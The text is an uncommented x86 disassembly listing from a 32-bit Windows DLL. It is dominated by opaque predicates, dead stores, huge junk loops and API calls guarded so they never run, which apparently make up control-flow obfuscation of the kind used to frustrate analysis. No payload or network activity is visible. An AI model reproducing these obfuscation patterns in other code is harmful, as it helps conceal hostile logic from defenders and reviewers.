mov dword [ebp - 0x10c], 0xff55e00f
mov dword [ebp - 0x2b0], 1
mov dword [ebp - 0x10c], 0
jmp 0x10012fee
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jg 0x1001328a
mov dword [ebp - 0x51c], 0xfffffff8
mov dword [ebp - 0x1f4], 0
push dword [ebp - 0x30]
lea ecx, [ebp - 0x354]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10013036
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x30]
jle 0x10013036
and dword [ebp - 0x4f4], 0
jmp 0x10013040
mov dword [ebp - 0x4f4], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x4f4], eax
jle 0x10013057
mov dword [ebp - 0x50c], 1
jmp 0x1001305e
and dword [ebp - 0x50c], 0
cmp dword [ebp - 0x30], 0x8064
jne 0x10013073
mov dword [ebp - 0x6c4], 1
jmp 0x1001307a
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x6c4], eax
jle 0x10013091
mov dword [ebp - 0x4fc], 1
jmp 0x10013098
and dword [ebp - 0x4fc], 0
push dword [ebp - 0x30]
lea ecx, [ebp - 0x354]
call fcn.1001f296
mov ecx, dword [ebp - 0x4fc]
cmp ecx, dword [eax]
jl 0x100130bc
mov dword [ebp - 0x7ac], 1
jmp 0x100130c3
and dword [ebp - 0x7ac], 0
push dword [ebp - 0x30]
lea ecx, [ebp - 0x354]
call fcn.1001f296
mov ecx, dword [ebp - 0x7ac]
cmp ecx, dword [eax]
jl 0x100130e7
mov dword [ebp - 0xab4], 1
jmp 0x100130ee
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0xda4], eax
mov eax, 0xd9796a0b
test eax, eax
je 0x10013114
xor eax, eax
inc eax
je 0x10013114
mov dword [ebp - 0x504], 1
jmp 0x1001311b
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x504], eax
jg 0x10013132
mov dword [ebp - 0x6cc], 1
jmp 0x10013139
and dword [ebp - 0x6cc], 0
push 0
lea ecx, [ebp - 0x354]
call fcn.1001f296
mov ecx, dword [ebp - 0x6cc]
cmp ecx, dword [eax]
je 0x1001315c
mov dword [ebp - 0x828], 1
jmp 0x10013163
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0x828]
jl 0x1001317d
mov dword [ebp - 0x514], 1
jmp 0x10013184
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0xb969b42c
ja 0x1001319c
mov dword [ebp - 0x6d4], 1
jmp 0x100131a3
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
neg eax
cmp eax, dword [ebp - 0x1f4]
jge 0x100131bf
mov dword [ebp - 0x7b4], 1
jmp 0x100131c6
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x51c]
add eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x2b0], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xe00], 3
push 3
pop eax
test eax, eax
je 0x1001320a
mov eax, dword [ebp - 0x2b0]
cmp eax, dword [ebp - 0x2b0]
je 0x1001320a
mov dword [ebp - 0xab0], 1
jmp 0x10013211
and dword [ebp - 0xab0], 0
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0xcd0], eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x354]
call fcn.1001f296
mov esi, eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x354]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x1001325a
push 0
lea ecx, [ebp - 0x354]
call fcn.1001f296
cmp dword [ebp - 0x10c], 0xa5d8d341
ja 0x10013272
mov dword [ebp - 0x524], 1
jmp 0x10013279
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0xa98], eax
jmp 0x10012fe1
jmp 0x10012fb0
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x100132b1
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreatePen]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x354]
call fcn.1001f27a
cmp dword [ebp - 0x628], 0
je 0x100164ea
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x534], 0xef339200
mov dword [ebp - 0xd70], 1
mov dword [ebp - 0xcd8], 3
mov dword [ebp - 0x278], 0
jmp 0x1001330b
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 4
jge 0x10013327
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xb44], 0x92e6c0b3
jmp 0x100132fe
mov eax, 0x1124f01c
test eax, eax
je 0x100134ac
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xdd4], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x10013351
mov dword [ebp - 0x90c], 1
jmp 0x10013358
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xce8], eax
cmp dword [ebp - 0x20], 7
je 0x1001336b
cmp dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 0
jne 0x10013380
cmp dword [ebp - 0x20], 0
jne 0x10013380
and dword [ebp - 0x6dc], 0
jmp 0x1001338a
mov dword [ebp - 0x6dc], 1
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x6dc]
cmp eax, 0xffffffff
ja 0x100133a5
mov dword [ebp - 0x52c], 1
jmp 0x100133ac
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x52c]
mov dword [ebp - 0x20], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp + eax - 0xb44]
test ecx, ecx
jl 0x100133d8
mov dword [ebp - 0x884], 1
jmp 0x100133df
and dword [ebp - 0x884], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb44]
cmp dword [ebp - 0x884], eax
jge 0x10013400
mov dword [ebp - 0x2f4], 1
jmp 0x10013407
and dword [ebp - 0x2f4], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp + eax - 0xb44], ecx
mov eax, dword [ebp - 0x2f4]
sub eax, dword [ebp - 0x534]
xor ecx, ecx
sub ecx, eax
jne 0x1001343b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb44], 0
je 0x10013450
cmp dword [ebp - 0x534], 0
je 0x10013450
mov dword [ebp - 0x6e4], 1
jmp 0x10013457
and dword [ebp - 0x6e4], 0
cmp dword [ebp - 0x6e4], 0x68993dd6
jge 0x100134ac
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x10013481
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [ebp - 0x20], 0
jmp 0x10013491
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x100134a7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb44], 1
jmp 0x1001348a
jmp 0x10013549
mov dword [ebp - 0xd78], 1
mov dword [ebp - 0xcf8], 0xc328129e
mov dword [ebp - 0xdb8], 0xffffffff
mov dword [ebp - 0xd08], 0xfffffffa
push 2
lea ecx, [ebp - 0xcf4]
call fcn.1001f1f8
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x53c], 0xa501
mov dword [ebp - 0x1fc], 0
jmp 0x1001350b
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x1001352d
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0xcf4]
call fcn.1001f296
mov dword [eax], 0xfffffff8
jmp 0x100134fe
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcf4]
call fcn.1001f27a
mov dword [ebp - 0x44], 0x8e469ad5
push 2
lea ecx, [ebp - 0x130]
call fcn.1001f1f8
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x138], 7
mov dword [ebp - 0x30c], 0
push 3
lea ecx, [ebp - 0x8c0]
call fcn.1001f1f8
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x2c0], 0xb3e62993
mov dword [ebp - 0x314], 0x89cfdd8c
mov dword [ebp - 0x1c], 0
jmp 0x100135ad
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100135c9
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x130]
call fcn.1001f296
mov dword [eax], 0xa5bc4220
jmp 0x100135a6
mov dword [ebp - 0x1c], 0
jmp 0x100135d9
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100135f2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8c0]
call fcn.1001f296
or dword [eax], 0xffffffff
jmp 0x100135d2
mov dword [ebp - 0x1c], 0
jmp 0x10013602
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10013618
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x85c], 5
jmp 0x100135fb
mov dword [ebp - 0x1c], 0
jmp 0x10013628
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1001363e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8e0], 0x6298a20b
jmp 0x10013621
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xd80], eax
cmp dword [ebp - 0x44], 0
jne 0x10013720
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x44]
jl 0x1001366e
mov dword [ebp - 0x7bc], 1
jmp 0x10013675
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x7bc], 0x1e01
jg 0x1001368d
mov dword [ebp - 0x544], 1
jmp 0x10013694
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x544], eax
jle 0x100136ab
mov dword [ebp - 0x6ec], 1
jmp 0x100136b2
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6ec]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov esi, dword [ebp - 0x44]
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp esi, dword [eax]
je 0x100136ed
mov dword [ebp - 0x9f4], 1
jmp 0x100136f4
and dword [ebp - 0x9f4], 0
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp dword [eax], 0
je 0x10013730
xor eax, eax
je 0x10013730
mov dword [ebp - 0x54c], 1
jmp 0x10013737
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
neg eax
mov dword [ebp - 0x830], eax
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
mov ecx, dword [ebp - 0x830]
mov dword [eax], ecx
cmp dword [ebp - 0x830], 0
je 0x10013773
xor eax, eax
je 0x10013773
mov dword [ebp - 0x554], 1
jmp 0x1001377a
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x554], eax
jne 0x10013794
mov dword [ebp - 0x6f4], 1
jmp 0x1001379b
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
add eax, 0xde6b
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x55c], eax
push 2
lea ecx, [ebp - 0x8c0]
call fcn.1001f296
mov ecx, dword [ebp - 0x55c]
mov dword [eax], ecx
cmp dword [ebp - 0x55c], 0
je 0x100137fb
mov dword [ebp - 0x990], 1
mov dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x990]
mov dword [ebp - 0x918], eax
jmp 0x10013adb
mov dword [ebp - 0x7c4], 0x331
mov dword [ebp - 0x998], 0x10007acc
cmp dword [ebp - 0x7c4], 0x5cc
jle 0x10013894
and dword [ebp - 0x280], 0
jmp 0x10013831
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x4800
jge 0x10013894
and dword [ebp - 0x288], 0
jmp 0x10013853
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x3c8
jge 0x10013892
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x288]
shl eax, cl
cdq
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], edx
push dword [ebp - 0x96c]
push dword [ebp - 0x970]
mov ecx, 0x10618c38
call fcn.1001efdc
jmp 0x10013846
jmp 0x10013824
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x7c4], 0xffffffc2
jge 0x100138b1
mov edx, dword [ebp - 0x998]
mov ecx, 0x10618c38
call fcn.100234ff
jmp 0x100138cd
mov dword [ebp - 4], 0x15
jmp 0x100138dd
mov dword [ebp - 0x564], 0x8317d239
mov dword [ebp - 0x274], 0
jmp 0x10013900
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 1
jge 0x1001391c
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x20c], 0xee94ccb0
jmp 0x100138f3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
mov dword [ebp - 0xd3c], eax
cmp dword [ebp - 0x138], 0x356d9de3
jge 0x10013947
mov dword [ebp - 0x2b8], 1
jmp 0x1001394e
and dword [ebp - 0x2b8], 0
push 2
lea ecx, [ebp - 0x8c0]
call fcn.1001f296
mov ecx, dword [ebp - 0x2b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0
jne 0x10013993
push 1
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10013993
and dword [ebp - 0x924], 0
jmp 0x1001399d
mov dword [ebp - 0x924], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, 0x9313
sub ecx, dword [ebp - 0x44]
imul ecx, dword [ebp + eax - 0x20c]
cmp ecx, dword [ebp - 0x138]
jl 0x100139cb
xor eax, eax
je 0x100139cb
mov dword [ebp - 0x6fc], 1
jmp 0x100139d2
and dword [ebp - 0x6fc], 0
cmp dword [ebp - 0x6fc], 0
je 0x100139e7
mov dword [ebp - 0x56c], 1
jmp 0x100139ee
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x56c]
jne 0x10013a05
mov dword [ebp - 0x880], 1
jmp 0x10013a0c
and dword [ebp - 0x880], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
cmp dword [ebp - 0x880], eax
jge 0x10013a2d
mov dword [ebp - 0x574], 1
jmp 0x10013a34
and dword [ebp - 0x574], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
cmp eax, dword [ebp - 0x574]
jne 0x10013a55
mov dword [ebp - 0x704], 1
jmp 0x10013a5c
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0x704], eax
je 0x10013a76
mov dword [ebp - 0x57c], 1
jmp 0x10013a7d
and dword [ebp - 0x57c], 0
cmp dword [ebp - 0x57c], 0x970c0f3a
jb 0x10013a95
mov dword [ebp - 0x7cc], 1
jmp 0x10013a9c
and dword [ebp - 0x7cc], 0
push 1
lea ecx, [ebp - 0x130]
call fcn.1001f296
mov ecx, dword [ebp - 0x7cc]
cmp ecx, dword [eax]
jge 0x10013abf
mov dword [ebp - 0x584], 1
jmp 0x10013ac6
and dword [ebp - 0x584], 0
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
mov ecx, dword [ebp - 0x584]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp dword [eax], 0
je 0x10013dee
mov dword [ebp - 0x114], 1
mov dword [ebp - 0x714], 0x6f77a312
mov dword [ebp - 0x930], 1
mov dword [ebp - 0x70c], 0xb3c
mov dword [ebp - 0x9a0], 0x10007b28
cmp dword [ebp - 0x70c], 0xf0a
jle 0x10013bdd
and dword [ebp - 0x254], 0
jmp 0x10013b49
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x465c
jge 0x10013bdd
and dword [ebp - 0x214], 0
jmp 0x10013b6f
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x51b0
jge 0x10013bd8
and dword [ebp - 0x294], 0
jmp 0x10013b91
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x4b0b
jge 0x10013bd6
mov eax, dword [ebp - 0x254]
sub eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x294]
shl eax, cl
cdq
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x978], edx
push dword [ebp - 0x978]
push dword [ebp - 0x97c]
mov ecx, 0x10618c38
call fcn.1001efdc
jmp 0x10013b84
jmp 0x10013b62
jmp 0x10013b3c
mov byte [ebp - 0xb7], 0
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x70c], 0x834
jge 0x10013c04
mov edx, dword [ebp - 0x9a0]
mov ecx, 0x10618c38
call fcn.100234ff
jmp 0x10013c20
mov dword [ebp - 4], 0x15
jmp 0x10013c30
movzx eax, byte [ebp - 0xb7]
test eax, eax
je 0x10013c46
push 0x2b5
call dword [sym.imp.GDI32.dll_GetStockObject]
cmp dword [ebp - 0x114], 0
jne 0x10013cf5
cmp dword [ebp - 0x114], 0xe19c
jle 0x10013c6b
mov dword [ebp - 0x58c], 1
jmp 0x10013c72
and dword [ebp - 0x58c], 0
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [ebp - 0x58c]
jl 0x10013c95
mov dword [ebp - 0x838], 1
jmp 0x10013c9c
and dword [ebp - 0x838], 0
cmp dword [ebp - 0x838], 0xfffa
jae 0x10013cb4
mov dword [ebp - 0x594], 1
jmp 0x10013cbb
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 0
je 0x10013cee
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp dword [eax], 0
je 0x10013cee
mov dword [ebp - 0x59c], 1
jmp 0x10013cf5
and dword [ebp - 0x59c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x85c]
sub eax, 0x16d90a27
cmp dword [ebp - 0x114], eax
jle 0x10013d1b
mov dword [ebp - 0x7d4], 1
jmp 0x10013d22
and dword [ebp - 0x7d4], 0
cmp dword [ebp - 0x7d4], 0xb8efb667
jae 0x10013d3a
mov dword [ebp - 0x5a4], 1
jmp 0x10013d41
and dword [ebp - 0x5a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x85c]
cmp dword [ebp - 0x5a4], eax
je 0x10013d62
mov dword [ebp - 0x71c], 1
jmp 0x10013d69
and dword [ebp - 0x71c], 0
mov esi, dword [ebp - 0x114]
mov edi, dword [ebp - 0x114]
imul edi, dword [ebp - 0x71c]
neg edi
push 2
lea ecx, [ebp - 0x8c0]
call fcn.1001f296
imul edi, dword [eax]
cmp edi, esi
jle 0x10013d9e
mov dword [ebp - 0x5ac], 1
jmp 0x10013da5
and dword [ebp - 0x5ac], 0
mov esi, dword [ebp - 0x114]
push 2
lea ecx, [ebp - 0x8c0]
call fcn.1001f296
mov ecx, dword [ebp - 0x5ac]
imul ecx, dword [eax]
cmp ecx, esi
jl 0x10013dd6
xor eax, eax
inc eax
je 0x10013dd6
mov dword [ebp - 0x898], 1
jmp 0x10013ddd
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x930], eax
jmp 0x100141ab
mov dword [ebp - 0x2c8], 0x2eddaad1
mov dword [ebp - 0x9b0], 1
mov dword [ebp - 0x2fc], 0xfb917de4
mov dword [ebp - 0x8a0], 0xaf4b502d
mov dword [ebp - 0x5cc], 0x8a907459
mov dword [ebp - 0x724], 0xdaf7
mov dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0xd28], eax
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0xd44], eax
mov esi, dword [ebp - 0x314]
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp esi, dword [eax]
jle 0x10013e6f
mov dword [ebp - 0x5b4], 1
jmp 0x10013e76
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
sub eax, dword [ebp - 0x314]
cmp eax, dword [ebp - 0x2fc]
jle 0x10013e96
mov dword [ebp - 0x9a8], 1
jmp 0x10013e9d
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0xd38], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8e0]
inc eax
mov dword [ebp - 0x93c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x93c]
mov dword [ebp + eax - 0x8e0], ecx
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x85c], 0
je 0x10013f0a
xor eax, eax
inc eax
je 0x10013f0a
mov dword [ebp - 0x5bc], 1
jmp 0x10013f11
and dword [ebp - 0x5bc], 0
mov esi, dword [ebp - 0x138]
imul esi, dword [ebp - 0x5bc]
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x130]
call fcn.1001f296
mov dword [eax], esi
cmp dword [ebp - 0x2c0], 0
je 0x10013fc2
cmp dword [ebp - 0x30c], 0
jne 0x10013f6a
push 1
lea ecx, [ebp - 0x130]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10013f6a
and dword [ebp - 0x7dc], 0
jmp 0x10013f74
mov dword [ebp - 0x7dc], 1
mov eax, dword [ebp - 0x7dc]
add eax, 0x63c3
sub eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x5c4], eax
push 2
lea ecx, [ebp - 0x8c0]
call fcn.1001f296
mov ecx, dword [ebp - 0x5c4]
mov dword [eax], ecx
cmp dword [ebp - 0x5c4], 2
ja 0x10013fb5
mov dword [ebp - 0x72c], 1
jmp 0x10013fbc
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x2c0]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8e0]
add eax, dword [ebp - 0x8a0]
je 0x10013ff3
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x85c], 0
je 0x10013ff3
mov dword [ebp - 0x840], 1
jmp 0x10013ffa
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x5cc], eax
mov eax, dword [ebp - 0x5cc]
add eax, dword [ebp - 0x840]
imul eax, eax, 0xffff
mov dword [ebp - 0x2fc], eax
mov eax, 0x5978b88e
cmp eax, 5
ja 0x10014034
mov dword [ebp - 0x5d4], 1
jmp 0x1001403b
and dword [ebp - 0x5d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x85c]
cmp dword [ebp - 0x5d4], eax
jl 0x1001405c
mov dword [ebp - 0x734], 1
jmp 0x10014063
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x734], eax
jg 0x1001407d
mov dword [ebp - 0x948], 1
jmp 0x10014084
and dword [ebp - 0x948], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x85c]
cmp eax, dword [ebp - 0x73c]
jge 0x100140a5
mov dword [ebp - 0x5dc], 1
jmp 0x100140ac
and dword [ebp - 0x5dc], 0
cmp dword [ebp - 0x5dc], 0x9d0e3ee8
ja 0x100140c4
mov dword [ebp - 0x7e4], 1
jmp 0x100140cb
and dword [ebp - 0x7e4], 0
cmp dword [ebp - 0x7e4], 0x97e7
jge 0x100140e3
mov dword [ebp - 0x5e4], 1
jmp 0x100140ea
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x73c]
jle 0x1001410b
mov dword [ebp - 0x2d0], 1
jmp 0x10014112
and dword [ebp - 0x2d0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp + eax - 0x85c], ecx
cmp dword [ebp - 0x2d0], 0
jne 0x10014147
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x85c], 0
jne 0x10014147
and dword [ebp - 0x5ec], 0
jmp 0x10014151
mov dword [ebp - 0x5ec], 1
cmp dword [ebp - 0x5ec], 0x384f
jge 0x10014169
mov dword [ebp - 0x5f4], 1
jmp 0x10014170
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x8a0]
cmp dword [ebp - 0x5f4], eax
jg 0x1001418a
mov dword [ebp - 0x9b8], 1
jmp 0x10014191
and dword [ebp - 0x9b8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8e0]
mov dword [ebp - 0xd4c], eax
mov dword [ebp - 0x44], 0xfffffff6
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x8c0]
call fcn.1001f27a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.1001f27a
mov dword [ebp - 0x48], 0xf25cbd94
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x148], 0xfffd
push 1
lea ecx, [ebp - 0xd04]
call fcn.1001f1f8
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x21c], 0
jmp 0x10014211
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 1
jge 0x10014233
push dword [ebp - 0x21c]
lea ecx, [ebp - 0xd04]
call fcn.1001f296
mov dword [eax], 9
jmp 0x10014204
mov dword [ebp - 0x60c], 0x3f2
mov dword [ebp - 0xa0c], 0x10007bd0
cmp dword [ebp - 0x60c], 0x4f5
jle 0x10014334
and dword [ebp - 0x27c], 0
jmp 0x1001426d
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x1fad
jge 0x10014334
and dword [ebp - 0x22c], 0
jmp 0x10014293
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x289a
jge 0x1001432f
and dword [ebp - 0x25c], 0
jmp 0x100142b9
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x1836
jge 0x1001432a
and dword [ebp - 0x224], 0
jmp 0x100142db
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x5e8
jge 0x10014328
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x224]
shl eax, cl
mov ecx, dword [ebp - 0x27c]
sub ecx, dword [ebp - 0x22c]
xor eax, ecx
cdq
mov dword [ebp - 0x988], eax
mov dword [ebp - 0x984], edx
push dword [ebp - 0x984]
push dword [ebp - 0x988]
mov ecx, 0x10618c38
call fcn.1001efdc
jmp 0x100142ce
jmp 0x100142ac
jmp 0x10014286
jmp 0x10014260
cmp dword [ebp - 0x48], 5
jbe 0x10014346
mov dword [ebp - 0x744], 1
jmp 0x1001434d
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xd54], eax
mov dword [ebp - 0x244], 0xfffffff9
mov eax, dword [ebp - 0x244]
add eax, dword [ebp - 0x48]
jne 0x1001437d
cmp dword [ebp - 0x244], 0
jne 0x1001437d
and dword [ebp - 0x5fc], 0
jmp 0x10014387
mov dword [ebp - 0x5fc], 1
mov eax, dword [ebp - 0x744]
cmp eax, dword [ebp - 0x5fc]
jge 0x100143a1
mov dword [ebp - 0x7f0], 1
jmp 0x100143a8
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0xfffffffb
je 0x100143bd
mov dword [ebp - 0x604], 1
jmp 0x100143c4
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x604]
add eax, 8
je 0x1001440f
cmp dword [ebp - 0x148], 0
je 0x1001440f
mov dword [ebp - 0x48], 0
jmp 0x100143e8
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x1b
jge 0x1001440a
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10014408
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x100143e1
